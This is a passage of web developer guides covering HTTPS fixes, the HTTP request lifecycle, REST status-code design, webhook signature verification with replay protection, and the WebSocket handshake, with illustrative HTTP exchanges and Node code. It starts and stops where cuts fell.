Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports" ``` `report-to` uses the endpoint named in `Reporting-Endpoints`. `report-uri` is deprecated in the spec but still the one that works in browsers that lack the Reporting API, so most deployments send both. This starter will report, and once enforced block, inline ` ``` Fix all hardcoded `http://` asset URLs and CDN templates. ### 2. Certificate name mismatch Problem: certificate SANs do not include the hostname users requested. Fix: issue a certificate that includes all served hostnames. ### 3. Redirect loops Problem: edge redirects to HTTPS while origin redirects back, or vice versa. Fix: define one redirect authority (usually edge/CDN) and align origin forwarding headers. ### 4. Expired certificate Fix: automate renewal, monitor expiration, and test post-renewal reload paths. ## HTTPS for Development Use `mkcert` for local trusted certs, so browser behavior matches production more closely. ```bash mkcert -install mkcert localhost 127.0.0.1 ::1 ``` ## Related Resources - [HTTP Headers Hub](https://howhttpworks.com/headers) - [Strict-Transport-Security Header](https://howhttpworks.com/headers/strict-transport-security) - [Header Inspector Tool](https://howhttpworks.com/tools/inspect) - [Cookie Security](https://howhttpworks.com/guides/cookie-security) - [How HTTP Works](https://howhttpworks.com/guides/how-http-works) - [HTTP Status Codes](https://howhttpworks.com/status-codes) See also the comparison [HTTP vs HTTPS](https://howhttpworks.com/compare/http-vs-https): what TLS adds, what it still leaves visible, and HSTS. --- # Request and Response Lifecycle > Learn how HTTP requests travel from browser to server and back. Understand DNS resolution, TCP connections, request/response flow, and the complete lifecycle. Source: https://howhttpworks.com/guides/request-lifecycle Last reviewed: 2026-10-04 > **TL;DR:** HTTP requests go through DNS lookup, TCP connection, TLS handshake (HTTPS), request transmission, server processing, and response delivery. Understanding each step helps optimize performance and debug issues. Understanding the HTTP request lifecycle is fundamental to web development. Every time you click a link, submit a form, or load a webpage, your browser executes a complex sequence of steps to communicate with web servers. This guide walks through each phase of this process, from the initial DNS lookup to the final connection close. ## Introduction When you type `https://api.example.com/users` into your browser or make an API call, what actually happens behind the scenes? The HTTP request lifecycle involves multiple layers of networking protocols working together to deliver data across the internet. Each step has specific timing characteristics and potential failure points that developers need to understand. The complete lifecycle typically takes 100-500 milliseconds for a typical web request, but can vary dramatically based on network conditions, server location, and resource size. Understanding each phase helps you optimize performance, debug issues, and build more resilient applications. ## Step-by-Step Lifecycle Breakdown ### 1. DNS Lookup (10-100ms) The journey begins when your browser needs to convert the human-readable domain name into an IP address that computers can use to route traffic. **Process:** 1. Browser checks local DNS cache 2. If not found, queries the operating system's DNS resolver 3. OS resolver checks its cache, then queries configured DNS servers 4. DNS servers perform recursive lookups through the DNS hierarchy 5. Final IP address is returned and cached **Example DNS Resolution:** ```http Query: api.example.com Response: 203.0.113.42 Cache TTL: 300 seconds ``` **Timing Considerations:** - Cache hit: ~1ms - Local network DNS: 10-50ms - Public DNS (8.8.8.8): 20-100ms - First-time lookup: 50-200ms ### 2. TCP Connection Establishment (20-100ms) Once the IP address is known, the browser initiates a TCP connection using the three-way handshake. **Three-Way Handshake:** 1. **SYN**: Client sends synchronization packet to server 2. **SYN-ACK**: Server acknowledges and sends its own synchronization 3. **ACK**: Client acknowledges server's response **Example TCP Handshake:** ```text Client → Server: SYN (seq=1000) Server → Client: SYN-ACK (seq=2000, ack=1001) Client → Server: ACK (seq=1001, ack=2001) Connection established ``` **Timing Factors:** - Geographic distance (round-trip time) - Network congestion - Server load and connection limits ### 3. TLS Handshake (50-200ms) For HTTPS requests, an additional TLS handshake establishes encrypted communication. **TLS 1.3 Handshake Process:** 1. **Client Hello**: Supported cipher suites and random value 2. **Server Hello**: Selected cipher suite, certificate, and key exchange 3. **Key Exchange**: Both sides derive shared encryption keys 4. **Finished**: Handshake completion and verification **Example TLS Negotiation:** ```text Client Hello: - TLS version: 1.3 - Cipher suites: TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256 - Extensions: SNI (api.example.com) Server Hello: - Selected cipher: TLS_AES_256_GCM_SHA384 - Certificate chain: [api.example.com cert, intermediate CA, root CA] - Key exchange: X25519 ``` ### 4. HTTP Request Transmission (1-10ms) With the secure connection established, the browser sends the actual HTTP request. **Request Structure:** ```http GET /users?page=1&limit=10 HTTP/1.1 Host: api.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" Connection: keep-alive ``` **Key Components:** - **Request line**: Method, path, and HTTP version - **Headers**: Metadata about the request and client capabilities - **Body**: Data payload (for POST, PUT, PATCH requests) ### 5. Server Processing (10-1000ms) The server receives the request and processes it through multiple layers. **Server-Side Processing Steps:** 1. **Load balancer**: Routes request to available server instance 2. **Web server**: Parses HTTP request and applies routing rules 3. **Application server**: Executes business logic and database queries 4. **Database**: Retrieves or modifies data as needed 5. **Response generation**: Formats data and adds appropriate headers **Example Processing Flow:** ```text Load Balancer (nginx) → Application Server (Node.js) → Database (PostgreSQL) ↓ Request validation → Authentication → Authorization → Data retrieval → Response formatting ``` ### 6. HTTP Response Transmission (1-50ms) The server sends back the HTTP response with status code, headers, and body. **Response Structure:** ```http HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1247 ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" Cache-Control: max-age=300, public Last-Modified: Fri, 18 Jan 2026 10:30:00 GMT Connection: keep-alive { "users": [ {"id": 1, "name": "Alice", "email": "alice@example.com"}, {"id": 2, "name": "Bob", "email": "bob@example.com"} ], "pagination": { "page": 1, "limit": 10, "total": 156 } } ``` ### 7. Connection Management Modern HTTP implementations use connection reuse to optimize performance. **HTTP/1.1 Keep-Alive:** - Reuses TCP connection for multiple requests - Reduces overhead of connection establishment - Configurable timeout and request limits **HTTP/2 Multiplexing:** - Multiple requests over single connection - Server push capabilities - Header compression (HPACK) **Connection Close:** ```http Connection: close ``` ## Timing Diagram (Text Representation) ```text Time → 0ms 50ms 100ms 150ms 200ms 250ms 300ms | | | | | | | DNS [████] TCP [████] TLS [████████] Request [█] Server [████████████] Response [██] Total [████████████████████████████████████████] ``` ## Performance Optimization Examples ### Connection Reuse ```javascript // Bad: Creates new connection for each request const responses = await Promise.all([ fetch('https://api.example.com/users'), fetch('https://api.example.com/posts'), fetch('https://api.example.com/comments') ]) // Good: Reuses connection with HTTP/2 const agent = new https.Agent({ keepAlive: true }) const responses = await Promise.all([ fetch('https://api.example.com/users', { agent }), fetch('https://api.example.com/posts', { agent }), fetch('https://api.example.com/comments', { agent }) ]) ``` ### DNS Prefetching ```html ``` ## Getting Request and Response Lifecycle right ### Client-Side Optimization - **DNS prefetching**: Resolve domains before they're needed - **Connection prewarming**: Establish connections early - **Request batching**: Combine multiple API calls when possible - **Caching strategies**: Use browser and application caches ### Server-Side Optimization - **Connection pooling**: Reuse database connections - **Response compression**: Use gzip/brotli encoding - **CDN deployment**: Serve content from edge locations - **HTTP/2 adoption**: Enable multiplexing and server push ### Monitoring and Debugging - **Network timing**: Use browser DevTools Network tab - **Server metrics**: Track response times and error rates - **Real User Monitoring**: Measure actual user experience - **Synthetic testing**: Automated performance checks ## Related Concepts Understanding the request lifecycle connects to several other HTTP concepts: - **[Caching](https://howhttpworks.com/guides/headers-and-caching)**: How responses are stored and reused - **[Status Codes](https://howhttpworks.com/guides/status-codes-overview)**: Server response indicators - **[Headers](https://howhttpworks.com/headers/cache-control)**: Metadata that controls behavior - **[Methods](https://howhttpworks.com/methods/get)**: Different types of HTTP operations - **[Cookies](https://howhttpworks.com/cookies/secure)**: State management across requests The request lifecycle forms the foundation for all HTTP communication. Mastering these concepts enables you to build faster, more reliable web applications and effectively troubleshoot network issues when they arise. --- # REST API Design with HTTP Semantics > Choose HTTP methods and status codes for a REST API: 201, 202, 204, 400 vs 422, 409, ETag with If-Match, pagination, problem+json and idempotency keys. Source: https://howhttpworks.com/guides/rest-api-design-http-semantics Last reviewed: 2026-10-04 > **TL;DR:** Let the method carry the intent (`GET` reads, `POST` creates, `PUT` replaces, `PATCH` edits, `DELETE` removes), let the status code carry the outcome (`201` + `Location`, `202` + status URL, `204`, `409`, `412`), put the machine-readable detail in an RFC 9457 `application/problem+json` body, and use `ETag` + `If-Match` to stop lost updates. Each section below shows the actual exchange. ## Choosing the method The decision depends on two properties from RFC 9110 section 9.2: whether the method is **safe** (read-only) and whether it is **idempotent** (repeating it has the same effect as sending it once). Retries, proxies and caches rely on both. | You want to | Method | Safe | Idempotent | Typical success | | --- | --- | --- | --- | --- | | Read a resource or collection | [GET](https://howhttpworks.com/methods/get) | Yes | Yes | 200 | | Create, server picks the ID | [POST](https://howhttpworks.com/methods/post) to the collection | No | No | 201 | | Create or replace at a client-chosen URI | [PUT](https://howhttpworks.com/methods/put) | No | Yes | 201 or 200/204 | | Change some fields | [PATCH](https://howhttpworks.com/methods/patch) | No | No (not guaranteed) | 200 or 204 | | Remove | [DELETE](https://howhttpworks.com/methods/delete) | No | Yes | 204 | | Trigger a non-CRUD action | POST to an action sub-resource | No | No | 200, 202 or 201 | Two traps. First, `PATCH` is not defined as idempotent: `{"op":"add","path":"/tags/-","value":"x"}` appends a tag every time it runs, while a JSON Merge Patch (RFC 7396) of `{"name":"x"}` happens to be repeatable. Document which patch format you accept, and send `Content-Type: application/merge-patch+json` or `application/json-patch+json` accordingly. Second, `DELETE` is idempotent in effect, not in response: the first call returns `204` and the second may return `404`, and that is fine. ## Creating: 201 and Location ```http POST /v1/orders HTTP/1.1 Host: api.example.com Content-Type: application/json {"sku":"A-100","quantity":2} ``` ```http HTTP/1.1 201 Created Location: https://api.example.com/v1/orders/ord_8f3k Content-Type: application/json ETag: "1" {"id":"ord_8f3k","sku":"A-100","quantity":2,"status":"pending"} ``` RFC 9110 section 15.3.2: a `201` means the request created one or more resources, the primary one is identified by `Location`, and if there is no `Location` it is the request URI. Return the representation so clients do not need a follow-up `GET`. See [201 Created](https://howhttpworks.com/status-codes/201). With `PUT` to a client-chosen URI, return `201` when it was created and `200` or `204` when you replaced an existing resource; the same request can legitimately produce either. ## Async work: 202 and a status resource ```http POST /v1/exports HTTP/1.1 Host: api.example.com Content-Type: application/json {"format":"csv","range":"2026-Q3"} ``` ```http HTTP/1.1 202 Accepted Location: https://api.example.com/v1/exports/exp_91 Retry-After: 5 Content-Type: application/json {"id":"exp_91","status":"queued"} ``` Polling the status URL: ```http GET /v1/exports/exp_91 HTTP/1.1 Host: api.example.com ``` ```http HTTP/1.1 303 See Other Location: https://api.example.com/v1/exports/exp_91/result.csv ``` While the job runs, the status resource answers `200` with `{"status":"running"}`. When it finishes you can either keep answering `200` with a link to the result, or redirect with `303 See Other` as above, which tells the client to `GET` the result. A failed job is still a successful poll (`200` with `"status":"failed"` and a problem object), not a `500`. `202` is deliberately non-committal (RFC 9110 section 15.3.3): the request was accepted, and processing may still fail. See [202 Accepted](https://howhttpworks.com/status-codes/202). ## No body: 204 Use `204 No Content` when the action succeeded and there is nothing to send, typically `DELETE` and some `PUT`/`PATCH` calls. It must not contain a body, so do not send `204` with `{}`. ```http DELETE /v1/orders/ord_8f3k HTTP/1.1 Host: api.example.com If-Match: "3" ``` ```http HTTP/1.1 204 No Content ``` See [204 No Content](https://howhttpworks.com/status-codes/204). ## Errors: 400, 422, 409, 412, 428 Pick the status by who can fix the problem and how: - **`400 Bad Request`**: the server could not understand the request. Invalid JSON, a missing required header, a query parameter of the wrong type. - **[`422 Unprocessable Content`](https://howhttpworks.com/status-codes/422)**: syntactically valid, semantically rejected. Field-level validation lives here in many APIs. The older reason phrase was "Unprocessable Entity"; RFC 9110 renamed it. - **[`409 Conflict`](https://howhttpworks.com/status-codes/409)**: the request is fine but conflicts with the current state of the resource: a duplicate unique key, transitioning an order that is already shipped, editing something another user just deleted. The client can fix it after re-reading state. - **[`412 Precondition Failed`](https://howhttpworks.com/status-codes/412)**: a conditional header (`If-Match`, `If-Unmodified-Since`) evaluated false. Use it for stale-version writes instead of `409`, because the client asked for that check explicitly. - **`428 Precondition Required`** (RFC 6585 section 3): the server requires the request to be conditional and it was not. The split between 400 and 422 is a convention call, not a rule of nature. RFC 9110 defines both, and what matters is that your clients can predict which one a validation failure produces. Pick one rule, put it in your API docs, and keep it. ## Optimistic concurrency with ETag and If-Match Two clients read the same order, both edit it, both `PUT` it. Without a precondition the second write silently discards the first. An `ETag` identifies a version of the representation (RFC 9110 section 8.8.3), and `If-Match` (section 13.1.1) makes the write conditional on that version still being current. ```http GET /v1/orders/ord_8f3k HTTP/1.1 Host: api.example.com ``` ```http HTTP/1.1 200 OK ETag: "3" Content-Type: application/json {"id":"ord_8f3k","quantity":2,"status":"pending"} ``` ```http PUT /v1/orders/ord_8f3k HTTP/1.1 Host: api.example.com If-Match: "3" Content-Type: application/json {"id":"ord_8f3k","quantity":5,"status":"pending"} ``` If another writer already moved the order to version 4: ```http HTTP/1.1 412 Precondition Failed Content-Type: application/problem+json {"type":"https://api.example.com/problems/stale-version","title":"Resource has changed","status":412,"detail":"Re-fetch the order and reapply your change."} ``` To make the check mandatory, reject a write that has no `If-Match`: ```http HTTP/1.1 428 Precondition Required Content-Type: application/problem+json {"type":"about:blank","title":"Precondition Required","status":428,"detail":"Send If-Match with the ETag from your last GET."} ``` `If-Match` uses strong comparison, so use strong ETags (no `W/` prefix) for it. A version counter or a content hash both work; a row's `updated_at` timestamp at one-second resolution does not, because two edits within the same second get the same tag. See [ETag](https://howhttpworks.com/headers/etag) and [If-Match](https://howhttpworks.com/headers/if-match). The read side of the same header, `If-None-Match` on a `GET` returning `304 Not Modified`, is covered in [HTTP headers and caching](https://howhttpworks.com/guides/headers-and-caching). ## Pagination: Link headers and cursors Offset pagination (`?page=3&per_page=50`) is simple and breaks when rows are inserted or deleted between requests: items shift, so a client sees duplicates or skips. Cursor pagination (`?after=`) anchors on a position in a stable sort order and does not drift. Use a cursor for any collection that changes while people page through it, and treat the cursor as an opaque string that clients must not construct. Put navigation in a `Link` header (RFC 8288), so the client follows relations instead of building URLs: ```http GET /v1/orders?limit=2 HTTP/1.1 Host: api.example.com ``` ```http HTTP/1.1 200 OK Content-Type: application/json Link: ; rel="next" [{"id":"ord_1"},{"id":"ord_2"}] ``` The last page simply omits `rel="next"`. Many APIs also return the links in the JSON body because browser-side code finds that easier; if you must pick one, the header keeps the body a plain array. See [Link](https://howhttpworks.com/headers/link). ## Errors as problem details (RFC 9457) Error bodies need to be machine-readable. RFC 9457 (July 2023, obsoletes RFC 7807) defines the `application/problem+json` media type with five standard members: - `type`: a URI identifying the problem type. Defaults to `about:blank`, meaning "no meaning beyond the HTTP status". - `title`: a short human-readable summary that stays the same for every occurrence of the type. - `status`: the HTTP status code. Advisory: the real response status wins if they disagree. - `detail`: an explanation specific to this occurrence, aimed at helping the client fix it. - `instance`: a URI identifying this particular occurrence, for example a request or log ID. Extension members are allowed, and clients must ignore ones they do not recognise. That is where field errors go: ```http HTTP/1.1 422 Unprocessable Content Content-Type: application/problem+json Content-Language: en { "type": "https://api.example.com/problems/validation-error", "title": "Your request is not valid.", "status": 422, "detail": "2 fields failed validation.", "instance": "/v1/orders/requests/7b1c", "errors": [ { "pointer": "/quantity", "detail": "must be at least 1" }, { "pointer": "/sku", "detail": "unknown SKU" } ] } ``` `errors` and `pointer` are this example's own extensions, not part of the RFC. Keep `detail` free of stack traces and internal identifiers; the RFC explicitly warns about leaking implementation details through problem types. ## Idempotency for POST A client sends `POST /v1/payments`, the connection drops, and it cannot tell whether the payment happened. Retrying risks a double charge. The fix is a client-generated key that lets the server recognise a repeat: ```http POST /v1/payments HTTP/1.1 Host: api.example.com Idempotency-Key: 3c1f7e2a-5b64-4a5e-9d0e-2f2b7d9b1a10 Content-Type: application/json {"amount":4200,"currency":"EUR"} ``` The server stores the key with the outcome of the first request. A retry with the same key and same body replays the stored response; a retry while the first is still in flight, or with a different body, is an error. `Idempotency-Key` is specified in `draft-ietf-httpapi-idempotency-key-header`, an IETF Internet-Draft. Its latest revision (07, October 2025) has expired, so this is a convention, not a standard. The draft proposes `400` for a missing key, `409` for a concurrent request with the same key and `422` for a reused key with a different payload: ```http HTTP/1.1 422 Unprocessable Content Content-Type: application/problem+json {"type":"about:blank","title":"Idempotency key reused","status":422,"detail":"This key was first used with a different request body."} ``` Providers differ here, so document your own behaviour and key retention window. Do this for `POST` creates and payment-like actions; `PUT` and `DELETE` are already idempotent by definition. ## Versioning - **Path (`/v2/orders`).** Obvious in logs, easy to route and cache, easy to try in a browser. Resource URIs change, which breaks stored links. - **Header or media type (`Accept: application/vnd.example.v2+json`).** URIs stay stable. Caches need `Vary: Accept` or the version header or they serve one version to everyone, and it is harder to test with a plain link. - **Query parameter (`?version=2`).** Easy, but it fragments cache keys and is easy to forget. Whichever you choose, the cheapest strategy is not needing a new version: add optional fields, never repurpose or remove them, and have clients ignore unknown fields. Reserve a new version for breaking changes, and announce retirement with a `Deprecation` or `Sunset` header plus documentation. ## Quick decision list - Creating something: `POST` to the collection, `201`, `Location`, body. - Replacing at a known URI: `PUT`, `200` or `204`, add `If-Match`. - Long-running: `202`, `Location` to a status resource, optional `Retry-After`. - Nothing to return: `204`, no body. - Bad syntax: `400`. Bad meaning: `422`. Bad state: `409`. Stale version: `412`. Missing precondition: `428`. - Over quota: `429` with `Retry-After`; see [API rate limiting](https://howhttpworks.com/guides/api-rate-limiting). --- # Webhooks: Delivery, Retries and Signature Verification > Build a reliable webhook receiver: respond 2xx fast, verify HMAC over the raw body, reject replays, dedupe by event ID. Covers Stripe and GitHub. Source: https://howhttpworks.com/guides/webhooks Last reviewed: 2026-10-04 > **TL;DR:** A webhook is an HTTP `POST` the sender makes to your URL. Verify the HMAC signature over the raw, unparsed body with a constant-time compare, check the timestamp, save the event and return `2xx` immediately, do the work from a queue, and dedupe by event ID because delivery is at-least-once. ## What the sender is doing A provider sends an event to a URL you registered: ```http POST /webhooks/stripe HTTP/1.1 Host: shop.example.com Content-Type: application/json Stripe-Signature: t=1792400000,v1=5257a869e7ecebeda32affa62cdca3fa51cad7e77a0e56ff536d0ce8e108d8bd {"id":"evt_1Pq...","object":"event","type":"payment_intent.succeeded","data":{"object":{"id":"pi_..."}}} ``` The sender treats your response as an acknowledgement. Any `2xx` means "delivered". Anything else (4xx, 5xx, timeout, connection failure, and for Stripe also redirects) means "not delivered", which triggers the sender's retry policy. Your endpoint is therefore a queue front door: authenticate, persist, acknowledge. ## Receiver checklist ### 1. Respond fast, process later Both major providers say this explicitly. Stripe: return a successful status "before any complex logic that might cause a timeout", and use an asynchronous queue so a spike (it cites subscription renewals at the start of the month) does not overwhelm your hosts. GitHub: respond with `2XX` within 10 seconds or it terminates the connection and counts the delivery as failed, and suggests queueing payloads and processing them in the background. ```javascript app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), async (req, res) => { if (!verifyStripeSignature(req.body, req.get('stripe-signature'), process.env.STRIPE_WHSEC)) { return res.sendStatus(400) } const event = JSON.parse(req.body.toString('utf8')) // unique constraint on event_id makes the insert the dedupe step const inserted = await db.insertEventIfNew(event.id, req.body.toString('utf8')) if (inserted) await queue.enqueue('process-stripe-event', { eventId: event.id }) res.sendStatus(200) // duplicates also get 200 so the sender stops retrying }) ``` Return `200` (or `204`) for duplicates too. A `409` for "already processed" makes the sender retry something you have already handled. ### 2. Verify the signature over the raw body The signature is computed over the exact bytes the sender transmitted. If you parse the JSON and re-serialise it, key order, whitespace and Unicode escaping can change, and the HMAC no longer matches. Stripe's docs state it plainly: any manipulation of the raw body causes verification to fail. The Express gotcha: a global `app.use(express.json())` consumes the stream and replaces `req.body` with an object before your route runs. Register the raw parser on the webhook route, and make sure it runs before (or instead of) the JSON parser for that path: ```javascript import express from 'express' const app = express() // Webhook route first, with a raw Buffer body app.post('/webhooks/github', express.raw({ type: 'application/json' }), githubHandler) // Everything else gets parsed JSON app.use(express.json()) ``` If a proxy, API gateway or middleware rewrites the body (decompressing, re-encoding, or adding a trailing newline), verification fails for the same reason. GitHub's docs also tell you to treat the payload as UTF-8. ### 3. Compare in constant time A plain `===` on signature strings returns as soon as the first byte differs, which leaks how many leading bytes matched. Both GitHub and Stripe tell you to use a constant-time comparison. In Node that is `crypto.timingSafeEqual`, which throws if the two buffers have different lengths, so check the length first. **GitHub** sends `X-Hub-Signature-256: sha256=`, an HMAC-SHA256 of the raw payload keyed with the webhook secret: ```javascript import crypto from 'node:crypto' function verifyGithub(rawBody, signatureHeader, secret) { if (!signatureHeader?.startsWith('sha256=')) return false const expected = 'sha256=' + crypto.createHmac('sha256', secret).update(rawBody).digest('hex') const a = Buffer.from(signatureHeader) const b = Buffer.from(expected) return a.length === b.length && crypto.timingSafeEqual(a, b) } ``` GitHub's docs publish a test vector you can use in a unit test: secret `It's a Secret to Everybody`, payload `Hello, World!`, expected `sha256=757107ea0eb2509fc211221cce984b8a37570b6d7586c22c46f4379c8b043e17`. **Stripe** sends `Stripe-Signature: t=,v1=[,v0=]`. The signed string is the timestamp, a literal `.`, then the raw body; the HMAC is SHA-256 keyed with the endpoint's `whsec_` secret. Ignore every scheme other than `v1`, and expect more than one `v1` while a rolled secret is still active. In production use the official library's `constructEvent` instead; the manual version shows what it does: ```javascript function verifyStripeSignature(rawBody, header, secret, toleranceSec = 300) { if (!header) return false const parts = header.split(',').map((p) => p.split('=')) const t = parts.find(([k]) => k === 't')?.[1] const v1s = parts.filter(([k]) => k === 'v1').map(([, v]) => v) if (!t || v1s.length === 0) return false const expected = crypto .createHmac('sha256', secret) .update(`${t}.${rawBody.toString('utf8')}`) .digest('hex') const match = v1s.some((sig) => { const a = Buffer.from(sig) const b = Buffer.from(expected) return a.length === b.length && crypto.timingSafeEqual(a, b) }) if (!match) return false // replay protection (see below) return Math.abs(Date.now() / 1000 - Number(t)) <= toleranceSec } ``` ### 4. Reject replays with a timestamp window A valid signature proves who sent a payload, not when. An attacker who captures one request can resend it indefinitely. If the timestamp is part of what is signed, they cannot change it without breaking the signature, so you reject anything older than a tolerance. Stripe's libraries default to 5 minutes, and its docs warn that a tolerance of `0` disables the check. Keep your server clock NTP-synced, or legitimate deliveries will start failing. Stripe generates a fresh timestamp and signature for each retry attempt, so a retried event is not a replay. GitHub's `X-Hub-Signature-256` has no timestamp, so signature checking alone does not stop replays there. `X-GitHub-Delivery` is a unique ID per delivery, which you can record and reject on repeat, but GitHub notes that a redelivery reuses the original delivery ID, so it is the dedupe key, not proof of freshness. ### 5. Dedupe by event ID Delivery is at-least-once. Stripe says endpoints "might occasionally receive the same event more than once" and recommends logging processed event IDs, and in some cases two separate Event objects are generated, so it suggests matching on `data.object` ID plus `type`. Stripe also does not guarantee ordering and warns against using `created` (second resolution) to decide whether you have seen an event. Make the dedupe check the same atomic step as the insert, as in the handler above, rather than a read followed by a write. | Provider | Unique ID to record | | --- | --- | | Stripe | `id` in the event body (`evt_...`) | | GitHub | `X-GitHub-Delivery` header | | Standard Webhooks senders | `webhook-id` header | ## What non-2xx means, per sender Retry policy belongs to the sender, so do not generalise from one provider. - **Stripe.** Live mode: attempts for up to three days with exponential backoff. Sandbox events are retried three times over a few hours. 3xx redirects are treated as failures, so register the final URL. Failed events can be resent from the dashboard for up to 15 days, or with the Stripe CLI for up to 30 days. A manual resend does not cancel the pending automatic retries. - **GitHub.** Responds-within-10-seconds rule, and no automatic redelivery: "If your server goes down, you should redeliver missed webhooks once your server is back up", using the redelivery option in the UI or API. - **Standard Webhooks.** Treats `2xx` as success, recommends retrying across multiple days with exponential backoff plus jitter, and gives meaning to some failure codes: `410 Gone` means the receiver is no longer interested and the endpoint can be disabled, `429` means rate-limited, and `502`/`504` are a hint to slow down. About `410`: that behaviour is documented in the Standard Webhooks specification, which a number of senders follow. Do not assume a provider honours it; check its docs. Neither the Stripe nor the GitHub pages used for this guide document `410` as an unsubscribe signal. ## Receiver deployment gotchas - Frameworks with CSRF protection (Rails, Django) reject cross-site POSTs. Exempt the webhook route and rely on the signature instead; Stripe's docs call this out. - Return `200` for event types you do not handle. A `4xx` on an unknown event type makes the sender retry something you never intend to process. - Do not log the full `Stripe-Signature` header or the secret. Do log the event ID and your response status so you can match them against the sender's delivery log. - Rotate secrets without downtime. Stripe lets you keep the old secret active for up to 24 hours and sends one signature per active secret, which is why the verifier above loops over every `v1`. - Allow-listing sender IPs is an extra layer where the provider publishes them (Stripe does), not a replacement for signature verification. ## Sender side: if you ship webhooks If you are the provider, you inherit the hard parts of this contract. - **Sign every request.** Use HMAC-SHA256 with a per-endpoint secret and include a timestamp in the signed content so receivers can reject replays. Support more than one active secret during rotation. - **Send a stable event ID** that is the same on every retry of the same event, so receivers can dedupe. - **Retry with exponential backoff and jitter** over a window of hours to days, then mark the endpoint failing and notify the owner. Disable endpoints that have failed continuously for a long period instead of retrying forever. - **Set a timeout** on your outbound request. The Standard Webhooks spec suggests 15 to 30 seconds. Do not follow redirects blindly (Stripe counts them as failures). - **Protect yourself from SSRF.** Customers choose the URL, so resolve it and refuse private, loopback and link-local addresses, and make the delivery workers egress through a filtered proxy. - **Make redelivery possible**, from a dashboard and an API, and keep the delivery log (status code, latency, response snippet) so receivers can self-debug. ### Standard Webhooks headers The Standard Webhooks spec defines three request headers so receivers can verify any compliant sender the same way: ```http POST /webhooks HTTP/1.1 Host: shop.example.com Content-Type: application/json webhook-id: msg_2KWPBgLlAfxdpx2AI54pPJ85f4W webhook-timestamp: 1792400000 webhook-signature: v1,K5oZfzN95Z9UVu1EsfQmfVNQhnkZ2pj9o9NDN/H/pI4= {"type":"invoice.paid","timestamp":"2026-10-04T10:13:20Z","data":{"id":"inv_123"}} ``` - `webhook-id` is the unique message identifier, identical across retries. - `webhook-timestamp` is Unix time in seconds. - `webhook-signature` is a space-delimited list of versioned signatures: `v1,` for HMAC-SHA256, `v1a,` for ed25519. Multiple entries support key rotation. The signed content is `webhook-id`, `webhook-timestamp` and the raw body joined with dots (`msg_id.timestamp.payload`), and receivers should use a constant-time comparison for the symmetric scheme. The `whsec_`-prefixed secret is base64; decode it to get the HMAC key. Check the spec for the exact key encoding before shipping an implementation. ## Test locally ```bash # Stripe: forward live events to your local handler and print the signing secret stripe listen --forward-to localhost:4242/webhooks/stripe # Hand-roll a GitHub-style signature to test your verifier BODY='{"action":"ping"}' SIG="sha256=$(printf '%s' "$BODY" | openssl dgst -sha256 -hmac "$SECRET" | sed 's/^.* //')" curl -i -X POST http://localhost:3000/webhooks/github \ -H "Content-Type: application/json" \ -H "X-Hub-Signature-256: $SIG" \ --data-binary "$BODY" ``` Use `--data-binary` so curl does not alter the body, and `printf '%s'` so no trailing newline is added to what gets signed. A mismatch you cannot explain is nearly always a byte difference between what was signed and what you hashed; see [POST](https://howhttpworks.com/methods/post) for how request bodies are framed. --- # WebSockets over HTTP: Handshakes, Proxies and Auth > Trace a WebSocket HTTP handshake, verify Sec-WebSocket-Accept, configure nginx, secure browser authentication, and debug idle disconnects and close codes. Source: https://howhttpworks.com/guides/websockets-over-http Last reviewed: 2026-10-05 > **TL;DR:** Over HTTP/1.1, a WebSocket starts life as a `GET` with `Upgrade: websocket`. If the server answers `101 Switching Protocols` with the right `Sec-WebSocket-Accept`, the same TCP connection switches to WebSocket frames. To make that work in production: forward the upgrade headers through every proxy, authenticate and check `Origin` before you accept, and send heartbeats more often than your shortest idle timeout. HTTP/2 and HTTP/3 skip the upgrade and use extended CONNECT instead. ## The HTTP/1.1 handshake Here's the exchange, using the sample nonce and accept value from [RFC 6455 §1.3](https://www.rfc-editor.org/rfc/rfc6455#section-1.3). Messages on this page are examples, not captures from a live server. ```http GET /chat HTTP/1.1 Host: socket.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 Origin: https://app.example.com ``` ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` [`Upgrade`](https://howhttpworks.com/headers/upgrade) names the protocol the client wants, and `Connection: Upgrade` says that header is about this connection. The client generates a fresh random 16-byte nonce, Base64-encodes it, and sends it as [`Sec-WebSocket-Key`](https://howhttpworks.com/headers/sec-websocket-key). Version `13` means RFC 6455. To build [`Sec-WebSocket-Accept`](https://howhttpworks.com/headers/sec-websocket-accept), the server takes the **Base64 text from the header** (trimmed, but not decoded), appends `258EAFA5-E914-47DA-95CA-C5AB0DC85B11`, SHA-1 hashes the result, and Base64-encodes the digest. You can check it with Node: ```bash node -e 'const {createHash}=require("node:crypto"); const accept=createHash("sha1").update("dGhlIHNhbXBsZSBub25jZQ=="+"258EAFA5-E914-47DA-95CA-C5AB0DC85B11","ascii").digest("base64"); console.log(accept); if(accept!=="s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") process.exit(1)' ``` We ran it, and it prints the RFC's sample value: ```text s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` The browser checks the whole response, accept value included; a [`101`](https://howhttpworks.com/status-codes/101) status on its own isn't enough. Once the handshake succeeds, everything on that HTTP/1.1 connection is WebSocket frames carrying text, binary data or control messages. A chat message is a frame, not another HTTP request. And the SHA-1 dance only proves the server understood the handshake. It says nothing about who the user is. [MDN's server guide](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers) walks through the switch in detail. ## HTTP/2 and HTTP/3 use extended CONNECT [RFC 8441 §5](https://www.rfc-editor.org/rfc/rfc8441#section-5) runs a WebSocket over a single HTTP/2 stream. The server first advertises `SETTINGS_ENABLE_CONNECT_PROTOCOL = 1`, then the client sends an extended CONNECT. Decoded, the header fields look like this: ```text :method: CONNECT :protocol: websocket :scheme: https :authority: socket.example.com :path: /chat sec-websocket-version: 13 origin: https://app.example.com ``` A `2xx` response such as `:status: 200` means 